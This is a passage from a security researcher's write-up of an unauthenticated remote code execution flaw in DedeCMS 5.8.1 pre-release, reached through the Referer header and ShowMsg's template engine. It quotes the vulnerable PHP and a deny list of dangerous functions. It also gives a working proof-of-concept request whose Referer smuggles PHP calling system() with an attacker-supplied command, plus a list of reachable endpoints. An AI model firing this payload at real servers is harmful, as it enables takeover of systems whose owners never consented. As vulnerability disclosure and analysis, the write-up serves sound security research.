However this SQL injection was limited because I couldn’t use select, sleep or benchmark keywords since they were denyed by the CheckSql function. Since finding that vulnerability though, it appears that the developers removed the /plus/bookfeedback.php file in the latest release but the core issue of bypassing addslashes still exists. At this point if we’re going to find critical vulnerabilities we need to focus on a different bug class.

ShowMsg Template Injection Remote Code Execution Vulnerability

CVSS: 9.8 (/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Version: 5.8.1 pre-release

Summary

An unauthenticated attacker can execute arbitrary code against vulnerable versions of Dedecms.

Vulnerability Analysis

Inside of the plus/flink.php script:

if ($dopost == 'save') {
    $validate = isset($validate) ? strtolower(trim($validate)) : '';
    $svali = GetCkVdValue();
    if ($validate == '' || $validate != $svali) {
        ShowMsg('验证码不正确!', '-1'); // 1
        exit();
    }

At [1] we can observe a call to ShowMsg which is defined in include/common.func.php:

function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
    if (empty($GLOBALS['cfg_plus_dir'])) {
        $GLOBALS['cfg_plus_dir'] = '..';
    }
    if ($gourl == -1) { // 2
        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; // 3
        if ($gourl == "") {
            $gourl = -1;
        }
    }

    $htmlhead = "
    <html>\r\n<head>\r\n<title>DedeCMS提示信息
    ...
    <script>\r\n";
    $htmlfoot = "
    </script>
    ...
    </body>\r\n</html>\r\n";

    $litime = ($limittime == 0 ? 1000 : $limittime);
    $func = '';

    //...

    if ($gourl == '' || $onlymsg == 1) {
        //...
    } else {
        //...
        $func .= "var pgo=0;
      function JumpUrl(){
        if(pgo==0){ location='$gourl'; pgo=1; }
      }\r\n";
        $rmsg = $func;
        //...
        if ($onlymsg == 0) {
            if ($gourl != 'javascript:;' && $gourl != '') {
                $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应，请点击这里...</a>";
                $rmsg .= "<br/></div>\");\r\n";
                $rmsg .= "setTimeout('JumpUrl()',$litime);";
            } else {
                //...
            }
        } else {
            //...
        }
        $msg = $htmlhead . $rmsg . $htmlfoot;
    }

    $tpl = new DedeTemplate();
    $tpl->LoadString($msg); // 4
    $tpl->Display(); // 5
}

We can see at [2] that if $gourl is set to -1 then the attacker can control the $gourl variable at [3] via the referer header. That variable is unfiltered and embedded twice in the $msg variable which is loaded by the LoadString call at [4] and parsed by the Display call at [5]. Inside of include/dedetemplate.class.php we find:

class DedeTemplate
{
    //...
    public function LoadString($str = '')
    {
        $this->sourceString = $str; // 6
        $hashcode = md5($this->sourceString);
        $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";
        $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
        $this->ParseTemplate();
    }
    
    //...
    public function Display()
    {
        global $gtmpfile;
        extract($GLOBALS, EXTR_SKIP);
        $this->WriteCache(); // 7
        include $this->cacheFile; // 9
    }

At [6] the sourceString is set with the attacker-controlled $msg. Then at [7] WriteCache is called:

    public function WriteCache($ctype = 'all')
    {
        if (!file_exists($this->cacheFile) || $this->isCache == false
            || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
        ) {
            if (!$this->isParse) {
                //...
            }
            $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
            flock($fp, 3);
            $result = trim($this->GetResult()); // 8
            $errmsg = '';     
            if (!$this->CheckDisabledFunctions($result, $errmsg)) { // 9
                fclose($fp);
                @unlink($this->cacheFile);
                die($errmsg);
            }
            fwrite($fp, $result);
            fclose($fp);
            //...
        }

At [8] the code calls GetResult which returns the value in sourceString to set the $result variable which now contains attacker-controlled input. At [9] the CheckDisabledFunctions function is called on the $result variable. Let’s see what CheckDisabledFunctions is all about:

    public function CheckDisabledFunctions($str, &$errmsg = '')
    {
        global $cfg_disable_funs;
        $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
        // 模板引擎增加disable_functions
        if (!defined('DEDEDISFUN')) {
            $tokens = token_get_all_nl($str);
            $disabled_functions = explode(',', $cfg_disable_funs);
            foreach ($tokens as $token) {
                if (is_array($token)) {
                    if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
                        $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
                        return false;
                    }
                }
            }
        }
        return true;
    }

Well. It’s possible for an attacker to bypass this deny list in several ways with some creativity, write malicious php into the temporary file and finally reach the include in Display at [9] to execute arbitrary code.

Proof of Concept

It’s possible to borrow their own code and call dangerous functions, but there are several generic ways to bypass the deny list anyway. The referer header isn’t checked for double quotes so the following payload will work:

GET /plus/flink.php?dopost=save&c=id HTTP/1.1
Host: target
Referer: <?php "system"($c);die;/*

The following (non-exhaustive) list paths can reach the vulnerability:

/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php
…

Reporting

I found this vulnerability around April 2021 but decided to sit on it since it only impacted the pre-release and not the release version. After months of inactivity on the repo, I decided to report the bug on 23rd of September to opensource@dedecms.com and 2 days later a silent patch was released that addressed the bug:

Due to this behaviour from the developer, I decided to not report the rest of the RCE vulnerabilities that impact the release version. Whilst I agree that a CVE is not required, I do think a security note should have been added to the commit at the very least.

Conclusion

I really like auditing Chinese software because the developers tend to think very differently to westerner developers. There logic flow is more fluid and as a security auditor, it requires you to think on your feet and change stratagies as you see new patterns in the code emerging.

It’s a simple reminder that even if a product has been audited to death, do not lose faith in yourself. Your next RCE is right around the corner even if you do not speak Chinese.

References

https://laworigin.github.io/2018/03/07/CVE-2018-7700-dedecms%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/